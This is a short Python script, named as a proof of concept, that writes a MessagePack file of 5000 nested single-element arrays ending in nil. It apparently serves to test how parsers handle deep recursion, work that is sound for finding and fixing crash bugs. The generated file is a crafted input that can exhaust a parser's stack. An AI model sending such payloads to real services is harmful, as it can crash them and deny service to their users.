build_poc.py

#!/usr/bin/env python3
from pathlib import Path
import argparse


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--depth", type=int, default=5000)
    ap.add_argument("--out", default="messagepack-nested-5000.msgpack")
    args = ap.parse_args()

    out = Path(args.out)
    out.write_bytes((b"\x91" * args.depth) + b"\xc0")
    print(f"out={out}")
    print(f"depth={args.depth}")
    print(f"file_size={out.stat().st_size}")


if __name__ == "__main__":
    main()